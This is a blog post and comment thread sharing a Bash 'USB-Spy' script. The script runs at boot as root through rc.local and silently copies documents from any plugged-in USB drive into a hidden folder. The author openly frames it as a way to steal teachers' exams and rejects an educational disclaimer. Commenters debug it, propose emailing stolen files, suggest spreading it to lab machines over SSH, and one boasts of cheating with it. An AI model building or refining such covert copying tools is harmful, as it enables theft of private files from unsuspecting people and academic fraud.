Script to spy on the content of USB devices and copy it to the PC

I was always a restless student, always wanting to take advantage of opportunities like… for example, copying the semester exams from the teacher's USB stick or something like that. When I was in high school (computer major), I wanted to program "something" that would do the following:

  1. Detect when a USB device is connected to the classroom computer
  2. Copy all the content from that device to the computer

This would allow me to have the exam much earlier, it would only be necessary for the teacher to connect his USB memory (pendrive) to the computer and that's it.

Unfortunately in my institute the computers had Windows and… I never and never learned to program for this OS.

However now I use Linux (obviously not? LOL!), And with the knowledge that throughout these years I have been able to acquire, now YES! I can already achieve this with Linux 😀

In other words, I have programmed a simple script that does the following:

1. Create the folder /home/.USBDRIVES/
2. It is checking every 5 seconds if there is any USB device (or CD / DVD) connected to the computer.
3. In case one is connected, it will create a folder inside /home/.USBDRIVES/ with the name of the USB (for example: memory-2gb) and also, it will copy all the files .doc, .pdf, etc (here the list) to this folder you just created.
4. In case there is no USB connected, it will simply wait 5 seconds to start the check that I explained above again 😀

Here is the script and the file that contains the formats to be copied:

Download USB-Spy.zip
The script must be executed as root so that its operation is not limited. Here I explain how to achieve this

So that the script can work without any problems, it is best that it be started with administrative privileges (root), as it is obvious that it needs to be started together with the computer, in this way we make sure that if the computer is restarted or off, when I start the script again it will be there working, ready to extract from any USB what we want 😉

Let's open a terminal ... once open ...

1. Suppose we have both files in / Opt / (/opt/usb-spy.sh y /opt/usb-spy.files), we must give it execution privileges:

sudo chmod +x /opt/usb-spy.sh

2. We open the file /etc/rc.local :

sudo nano /etc/rc.local

3. In it we write above the final line (exit 0) the next:

/opt/usb-spy.sh &

4. Now we press [Ctrl] + [X] to save and exit the file, we press [S] or [Y] (depending on the system language) and then [Enter]. This will be enough for the changes we made to be saved.

And voila, this will be enough for the script to start as root when we turn on the computer.

It is important to verify that the file usb-spy.files is in the same directory as usb-spy.sh 😉

Now ... I'll explain a bit the inner workings of the script, as I know there are many Bash lovers around here por

Q: How does the script know that a USB device is connected?
A: In the / etc / mtab file of our system are the devices or partitions that are mounted on our system. Through line 23 of the script it is known if there is a USB connected or not (making cat to mtab and grep media)
Q: Yes, but How does the script know if the cat and grep return any data to us or not?
A: Through a if, then, else loop which starts on line 24.
Q: How to make it copy only files with desired extensions? (.doc, .pdf, etc)
A: Using rsync with various parameters, this is on line 34. Simply explained, with rsync I copy only the files that match the usb-spy.files filter, each line is a filter so to speak. I also pass the parameter --prune-empty-dirs to rsync so it doesn't create empty directories for me.
By the way something very important. If an 8GB USB device (for example) is connected, everything works correctly, but I noticed that if a device with much more capacity is connected, such as 500GB or 1TB, the process of looking for .doc files and etc. to copy them to the computer took time a long time, so I put a GB limit. That is, in line 31 I declare that if the USB device is less than 16GB, then find the files and copy them, but if it is greater than 16GB then do nothing. If you want to increase that 16GB by 32GB, just increase that number from line 31

There isn't much to explain actually, the script is really simple to understand 🙂

If anyone has any doubt or question, complaint, idea or suggestion please tell them and I promise to help them as much as I can.

Well, I was thinking of putting something like: «this script is for educational purposes only, do not use with harmful files»… But… what the hell !, use it for whatever you want, it's time that students have some kind of advantage against the teachers who oppress us 😀

regards

You can still make multiple improvements to the script, but hey this is a good start I think, if someone feels motivated to contribute to this "noble" cause it will be a pleasure 😀

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  1.   elav said

    Cheater ¬¬

    XDDDD

    1.    KZKG ^ Gaara said

      Nah at all ... if you sure thought at some point to do something like that ... HAHAHA.

      1.    Ivan Molina said

        You saved me from a pop quiz 😀… Now your «KZKG ^ Gaara» You are my god… Praise you!

    2.    Facundo said

      Hello, very good script, but in mega the file no longer exists, you can send it to my email, please

  2.   oscar said

    Linux is 1% and you say that you never learned to program for windows so the tutoring is for a linux system, my question is: what is the possibility of finding a teacher that uses linux to carry out the tutoring?

    1.    KZKG ^ Gaara said

      This script or trick is "implemented" in a computer that does not necessarily have to be the personal or the professor's own, it is enough that it be any computer of a University or College, then it would only be possible to achieve by X or Y reason that the professor connects your USB on that computer.

      Yes, it is for Linux, but many universities have Linux as a system in computer labs, as well as booting with a LiveCD and not necessarily installing Linux on the PC 🙂

      About the 1%, I recommend you read this post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji said

      The possibility of a giant meteorite falling on the Atlantic in approximately 30 min

  3.   Josh said

    It looks interesting, it will have to be tried.
    Thank you

    1.    KZKG ^ Gaara said

      The utility that it has is not a great thing, but the script as such is interesting ... because you can learn several tips from it, for example how to know the connected USBs, size of partitions, etc 🙂

  4.   cr0t0 said

    An original and very well explained article KZKG ^ Gaara. Cheers!

    1.    KZKG ^ Gaara said

      Thank you

  5.   Oscar said

    What audacity !!!, and you dare to write it on the blog OO, I don't know what to think, could it be that someone who doesn't like him well hacked Gaara?

    1.    KZKG ^ Gaara said

      impudence? why?
      Although the purpose or motive of the script may not be as serious as the rest of my contributions, the script, its lines and programming logic does have a lot to contribute, I think.

      You can take advantage of several things from this script:
      1. How to know the size of a partition and make this a variable.
      2. How to check if there is a USB connected and extract its path and name.
      3. if-then-else and while loops.

      Anyway, I don't think this is entirely useless or something.

      1.    Oscar said

        I think you misinterpret my comment, I mean at the beginning of your article,
        "I was always a restless student, always wanting to take advantage of opportunities like ... for example, copying the semester exams from the teacher's pendrive or something like that." If what I say bothers you, I hope you will excuse me, it was not my intention.

        1.    Blaire pascal said

          oO what an excellent blog, good articles, good readers, users apologize ... it is paradise lol free of trolls.

          1.    KZKG ^ Gaara said

            Thank you (I.e.
            We are proud of what we have achieved so far, this community is truly proud ... it's great to be part of all this 😀

        2.    KZKG ^ Gaara said

          No no not at all, I didn't really bother at all xD
          And yes hehe it was my mistake for misinterpreting your comment hehehe, sorry for that 😉

          Nothing that the apologies come from me now, I will have to wash my face to see if I finish waking up that ... from what I see, I'm still not 100% HAHAHA.

          Greetings friend 🙂

        3.    Oscar said

          Very fine person xD

  6.   neomyth said

    I would like my college computers to have Linux muhahahjaja.

  7.   GGGG1234 said

    Good article!
    But whoever wants to imitate it in Windows will be easier, because where you don't have root access on the machine you want to use it, you can't leave it "forever". With Windows that does not happen 😉

  8.   Blaire pascal said

    Very good hehe.

  9.   Hyuuga_Neji said

    The idea is good, it only has the weakness of having to use Root privileges

    1.    KZKG ^ Gaara said

      Well, you don't really need to be root as such ... if you declare to the script that the folder will NOT be /home/.USBDRIVES as I put it, and it says for example: /home/usuario/.USBDRIVES ... then executing the script with "user" will suffice 😀

  10.   Emilio said

    It's a good idea, but I think you would save yourself modifying the rc.local and running it every minute using crontab, and thus you avoid the problem of running it as root and the rest, on the other hand, even if it does not affect much, you consume memory of the pc uselessly every 5 seconds to check if the usb is, even when it is not. Well that's my point of view

    1.    KZKG ^ Gaara said

      I mean, do a check every 1 minute, right? I didn't do it like that because… what if a USB is connected and disconnected in less than 1 minute? 😀

      I preferred to do it every 5 seconds to make sure to really "capture" all USBs 😉

      If I misunderstood you, please correct me 🙂

      Greetings and welcome.

      1.    Emilio said

        Yes, do the check every minute through cron, but well each one has a different way of seeing the problem, nothing more than looking at the code, it would not be better to check if the /home/.USBDRIVES folder already exists before creating it , is a suggestion nothing more

        regards

        1.    KZKG ^ Gaara said

          Yes also, it is a detail that I noticed but ... I was lazy to solve it LOL!

          Likewise, I could put a log where the files that have been copied are shown (individual log for each device), maybe even send this log by email (using some method of sending email by terminal of the ones I have put here on the site) ... but as I told you, I am a bit lazy ^ - ^ U

  11.   pavloco said

    Hahahaha great.

  12.   hexborg said

    AHA! So your software can be used for evil. LOL!!! 🙂

    The trick is fine, but ... what if you want to unmount the USB before the script finishes copying its content? In that case it will complain that it is in use and it will be noticed that there is something wrong. 🙂

    1.    KZKG ^ Gaara said

      Actually, the system will not allow the USB to be unmounted because "something" will be using it 😉

      1.    hexborg said

        Exact! And that's when Oscar's professor thinks he's found a linux virus. LOL!! 🙂

  13.   Oscar said

    You made me remember once that I did something similar (on my Uni if ​​we had linux / windows), but I made a C program that generated thousands of folders. I upholstered the USB to a guy who plugged it in. The computer center manager was amazed! He thought he found a virus in linuxx muajajajaja ... ahhh .. what times were those =)

    1.    Miguel said

      and what is the difference with a virus?

      1.    Oscar said

        That I remotely got into his USB and ran the program 😛

        1.    Miguel said

          hahahaha, so it was a hack XD

    2.    KZKG ^ Gaara said

      😀
      hehehehehe so you found a virus in Linux right? … LOL!!

  14.   semproms said

    It just doesn't work for me xD, if I try to run it from the terminal it tells me this: ./usb-spy.sh: line 31: [: -lt: unary operator expected
    There seems to be something wrong with this line: if [$ USBSIZE -lt 15664800]; then
    But I don't know what it is, because it doesn't create the .USB directory as well.

    If it can be solved I can find a useful script.

    1.    hexborg said

      Try replacing df with / bin / df and make sure to launch it as root.

      1.    semproms said

        Ok, now if it creates the .USB folder inside the home directory, but it keeps telling me through the terminal that: "./usb-spy.sh: line 31: [: -lt: unary operator expected" and it doesn't copy nothing, in that line there must be some conflict, I appreciate the help if someone sees it.
        Thank you very much.

        1.    hexborg said

          Can you give us the content of your / etc / mtab file when the USB is mounted?

          1.    semproms said

            Sure, here it goes:

            / dev / sda12 / ext4 rw, errors = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            none / sys / fs / fuse / connections fusectl rw 0 0
            none / sys / kernel / debug debugfs rw 0 0
            none / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, mode = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / run tmpfs rw, noexec, nosuid, size = 10%, mode = 0755 0 0
            none / run / lock tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            none / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            The last lines are those of the mounted USB / dev / sdb1

          2.    hexborg said

            Let's see if we got it. 🙂

            Give us the output of the df command. And try adding the line:

            echo $ USBSIZE

            Right in front of the if that gives the problem and tell us what comes out when launching the script. It should look like this:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            echo $ USBSIZE
            if [$ USBSIZE -lt 15664800]; then

            And just in case, also tell us what the output of the which df command is.

            1.    semproms said

              Ok, in parts, the df command returns this to me:

              Filesystem 1K-blocks Used Available Use% Mounted on
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / run
              none 5120 0 5120 0% / run / lock
              none 2014420 92 2014328 1 XNUMX XNUMX% / run / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              The command which df returns me: / bin / df

              Then, I have put the echo $ USBSIZE, and the result is the same, it does not print anything new, but the error from before, the funny thing is that this happens with the USB that I am testing, if I put the 500GB external hard drive Yes, it returns the size of the disk on the screen, but the 500 exceeds the 16 of the if, therefore with the hard disk it does nothing.

              But with USB it does nothing, other than show the error: ./usb-spy.sh: line 34: [: -lt: unary operator expected
              It is as if it could not show the size of the USB, but with the df command I get its size.

              Thanks for the help, let's see if we can get it!


            2.    semproms said

              Just in case the command did not look good here I leave a screenshot: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg said

            I see that in the mtab the path where it appears mounted is "/ media / DOCU403" while in df it appears "/ media / DOCU 3". This makes grep not find it and does not return the size. Try changing the first lines of the for so that they look like this:

            for USBD in `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            The changes consist of changing the name of the for variable to USBD, changing the $ 2 at the end of the for line to $ 1, inserting the line that begins with USBDEV just after the do and changing USBDEV to USBD in the line that begins with USBSIZE… I hope I didn't mess around. 🙂

            The idea is to do the for by the name of the device instead of by the mount point.

            1.    KZKG ^ Gaara said

              The problem was that in the mtab when a device has spaces ... it puts some "strange" characters on the line, specifically in the place of the space.

              Nothing, as simple to solve as changing the way $ USBDEV is designated, on line 28 change it and put it like this:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              😀


          4.    Atheyus said

            Let me see if I can help you ...

            The unary operator shows it because it does not locate the size of the disk, this happens because it does not check it, this happens because it is called

            Document 3

            and takes it as two values, if it were DOCU it would not open a problem

            Maybe this will work for you

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Greetings 🙂

            1.    semproms said

              Indeed that is the problem, because I have just tried with other USB that have a name with a word without spaces, example "classes" and the script works without problems, that's why it recognized the hard disk and not the memories, but now the thing is In knowing how I put the quotes in the script code, do I have to put them to "$ USBNAME"?

              Many thanks to Atheyus and Hexborg for the help, it's almost done.


          5.    KZKG ^ Gaara said

            Actually semproms it's super simple to fix 😉
            Line 28 ... change it to this:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            I just did testing with this change and it works fine with devices whose label / name has a space :)

            Now I will make the change in the script to download.

          6.    hexborg said

            Very good. So it is easy to fix. 🙂

  15.   auroszx said

    Ohhh, very ingenious 😀 I'll take note in case I need to ...

  16.   semproms said

    KZKG ^ Gaara, with that arrangement it works perfectly, now if I copy the USB with space in the name, thank you very much everyone for the help, I will try to see if I can make it run with the system boot and that way Check every cycle if there is any USB connected.

    In the end we have achieved it xD.

    1.    KZKG ^ Gaara said

      (I.e. ... a pleasure hehe.
      The problem was that I used mtab to recognize USB, I could have simply used df ... I used mtab because I thought it would be interesting to explain this file to them, to know it, but I did not foresee this error happening with devices with spaces lol.

      Any questions or problems you leave it said, almost everyone here likes to help xD

      regards

    2.    hexborg said

      Of course. We are Linux users. We always get it. XD.

  17.   Yeretic said

    Install a daemon on the teacher's PC that generates a record of all the .doc, .docx, .odt, .pdf and sends them to you by mail. As well as scanning the PC from time to time in search of changes, new files or deletions in said registry, and anet any news will send you the modified or new file by mail as well.

  18.   Yeretic said

    Anyway, I think that more than a catch, running that script (AND AS ROOT !!!!) is suicide. You are making life and things 700% easier for anyone interested in inserting a file on your PC with root permissions and everything. Remember that extensions do not exist in Linux and that a .doc in Linux can be the same as a text, a video or even worse, a script (this time with very bad intentions).

    1.    KZKG ^ Gaara said

      Running it as root is not completely necessary, just define the folder where the content will be put somewhere that the running user has write permissions (for example, their own home) and that's it 🙂

      On dangerous files ... well, you could add some lines that would chmod -x to all files, thus losing the execution property.

      1.    semproms said

        I have added these lines at the beginning to delete the .USBDRIVES folder if it was already created:

        if [-s $ PLACE]
        then rm -r $ PLACE
        fi

        This way, it will not give the error of "directory already existing", that is, if you have to be careful that there is nothing in the .USBDRIVES folder that we do not want to be deleted, because it will delete it and put another in its place.

  19.   Daniel said

    To add new file formats, just write them to usb-spy? for example .jpg .mp3 etc.

    1.    KZKG ^ Gaara said

      To add new file types you put it in the usb-spy.files
      Look at the content of the file and you will see how to add them, it is quite simple 😉

  20.   Wuilmer bolivar said

    If we are on the same network, and there is a teacher's machine, the interesting thing would be to do a network mapping, we may have ssh on the machines and in that way distribute the code on the laboratory machines or even on the teacher's machine ... . This gives me soooo many ideas: $

  21.   xyler said

    Hello, I congratulate you for the post and all your contributions, but I have a question, to see if someone can solve this problem:

    I was testing your script on a pc with ubuntu 12.04LTS (with Unity) and it worked perfect, but as I saw that it stopped executing this script after the first time it was run, because the .USBDRIVES folder was already created, I decided to directly use this other script of your authorship that was posted in another part of this forum

    here I copy the script for you to locate yourself

    #! / Bin / bash
    #
    # - * - ENCODING: UTF-8 - * -
    # This program is free software. You can redistribute it and / or
    # modify it under the terms of the General Public License
    GNU # as published by the Free Software Foundation,
    # either version 2 of said License or (depending on your
    # choice) of any later version.
    #
    # If you make any modifications to this application,
    # should always mention the original author of the same.
    #
    #Copyleft 2012, DesdeLinux.net {Havana City, Cuba}.
    # Author: KZKG ^ Gaara

    WHILE = 0

    while [$ CONTROL = 0]; do
    cat / etc / mtab | grep media >> / dev / null
    if [$? -ne 0]; then
    COUNTER = 0
    else
    COUNTER = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` »/»}
    cp $ USBDEV / * / home /
    fi
    Sleep 5
    done

    exit 0

    The topic is the following in ubuntu12.04 lts unity that last script runs fine and works but when I downgrade the same pc for "x" reason, and try to make it work in ubuntu 10.10 no, I can make it work
    On the one hand, it throws me an error and does not read the pen drives that have a compound name for example: DATA-G, nor does it copy the files that have a compound name. Apart from this problem I have the problem that the script is only executed when the pc is restarted once.

    The question would be: how can I make that script copy me pendrives and files with compound names
    and if using crontab or can I schedule it to work at a certain time

    Another detail, in Ubuntu 10.10, as it uses Gnome I would like to add some constraints to take into account, when giving execution privileges to a script, it must be located in /etc/init.d not in / etc /
    (Take into account that you have to paste it there arriving from terminal with sudo nautilus)

    On the other hand, another dimension would be that after pasting it there to see if it can be executed, it must be done in another terminal

    sudo su (to be root)
    Password

    ls

    cd / etc / init.d

    Ls -l

    and there we jump if it is running or not

    then in the same terminal or in another terminal at another time being as root and being in etc / init.d (that is, until the step cd / etc / init.d) as in the previous terminal we continue as follows to give it permissions of execution

    sudo chmod + x script.sh

    update -rc.d script.sh defaults 80

    reboot

    I repeat that is so that it auto-executes in Ubuntu 10.10 if it is another version like 12.04 you have to do what KZKG ^ Gaara says

    And one last question, how do I want to copy the content (up to 3 subfolders of the pendrive) to the home or to a hidden home folder or not, suppose it was .USBDRIVES
    in the code I would not have to say

    cp -r /media/*/*/*/home/.USBDRIVES/*

    In short, to get what I want, how should the script stay?
    Because I already tried to modify the line that they modified to usb-spy sh but to that other one that records directly in home and throws an error on the modified line.? Regards . Thank you

  22.   Kakashi said

    I can't download the second script

  23.   metallus said

    Very good. 😉

  24.   Kamaleon said

    And if I don't do the steps you put in, what happens? Doesn't it run or does it just run but without root? If the computers have a system that we say restores all the internal configuration of the computer when shutting down, will it work? Thank you.

    1.    KZKG ^ Gaara said

      In the event that the system has 'something' that defaults to the / home / folder then you must modify the script, where it says / home / change it to / opt / or some other folder that is not affected.

  25.   gambi said

    I think that to improve the script and avoid the intrusion into the pendrive, the optimal thing would be to prioritize type, file size. For example, leave large files of 100 megabytes or more for last. Or first copy files doc, docx, txt, pdf, xml, ... etc etc etc and leave avi, mp4, mkv files for last ...

  26.   lucas said

    Hello, the idea is good. I wanted to ask two questions:
    - Can it be done in reverse? make a scrip for the penderiver, that it connects to any machine and extracts files.
    - works for Windows OS?

    1.    KZKG ^ Gaara said

      Hello,

      I'm not sure how it could be done that when connecting the pendrive, the same pendrive self-executes a script that it has inside.

      And no, this script does not work for Windows 🙂

      1.    LUCAS said

        Ok, thanks for answering me, I'll investigate how to do it

  27.   Jose Damian Bazaga Ruiz said

    What a good script. I have been analyzing it, and it seems amazing to me, hopefully one day I could also make such practical scripts.

  28.   jose said

    Excellent contribution, although the utility that I will give it is not exactly what you raised it for, if I use it for file backups of a group of users, misconduct that I have… hehehehe….

  29.   enbudle said

    when I try to run it gives me this error line 31: [: too many arguments
    remove that line to see if it worked. and it turns out that it is the line that restricts the size of the devices.
    when removing it copies what I have in my mounted partitions 🙁

  30.   brave said

    Hi, I'm new and I know the pot is old but I liked it a lot, your script is very educational

    Thank you for sharing it and explaining it in detail ...

    Wave

  31.   doltrox said

    Friend you saved me, I just had to distract the teacher and introduce the usb to my laptop and then hahahaaj passed exam and notes from all hahaha

    1.    oetam222 said

      Could you pass me the script, the link is down

    2.    oetam222 said

      Can you pass me the script the link is down

  32.   Worm2D2 said

    kzkggaara, could you re-upload the files? the links are down: /, thank you very much

  33.   bastian said

    Can you upload links please?

  34.   necr0 said

    hears! uncle! you have fallen praises you could raise them again!
    OK! : v

  35.   necr0 said

    well, I do this again because I don't know if what I wanted to say was uploaded….

    well it is that you have the links down you can upload them!

  36.   rlorau said

    The links are down !!!

  37.   Developer24 said

    Resubmit the links please @usemoslinux I am investigating about the subject, thanks!

  38.   Anonymous said

    The script can be downloaded from here. I think it's the same

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Juan said

    Well then….

    I think from my humble point of view that it is a great article and well if there are people who say that you are a cheater, then I think that it is according to the purpose for which you use the program.
    I personally liked more for knowing the programming language for linux since I have only worked in java, thanks mate you have aroused my interest in knowing more about the language for linux.

    I thank you.

  40.   Hecorat said

    Hello friends, because I found another way to use this script is by doing backup, I will talk to you a bit I have two devices, a camera and a hdd, what I want is that instead of recording the files, the local files save them in an external hdd from the camera to the hdd but it gives me an error that says "too many arguments" could you help me

  41.   LUIS GERARDO POLANCO VERA said

    It only works with devices with linux operating systems?

  42.   Testing said

    Someone raise it, please!

  43.   gazelene said

    Hello, I do not have linux and in my school they use Windows, I used the app from usb capture and I copy only 5 files from the teacher's memory, I suspect that usb has protection, because the same thing happened twice, there will be some other way to subtract the complete information from that usb?

  44.   zaraki said

    Well, if you say the code will be simple, it seems very interesting to see the methods work to see if a USB is connected or the size of the partition. Too bad they have removed the mega.nz script, could you upload it again?

    Greetings and great work, simple but functional even to automate copies from USB !!!

  45.   Breaks said

    Good!
    I just entered your blog post, and I am really interested. What happens is that when you click on the .zip file that redirects you to mega, it means that the file is no longer available.
    I was wondering if you could send me those files that are supposed to be downloaded.
    Thank you very much and greetings!

  46.   Alfredo Pereira said

    Technology has a habit of shrinking in size as the years go by. And that has happened to an incredible degree with solid state drives (SSDs). Now you can get them in the same size as the fastest USB flash drives.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a said

    Can you send me the file or upload it again? It comes out that cannot be downloaded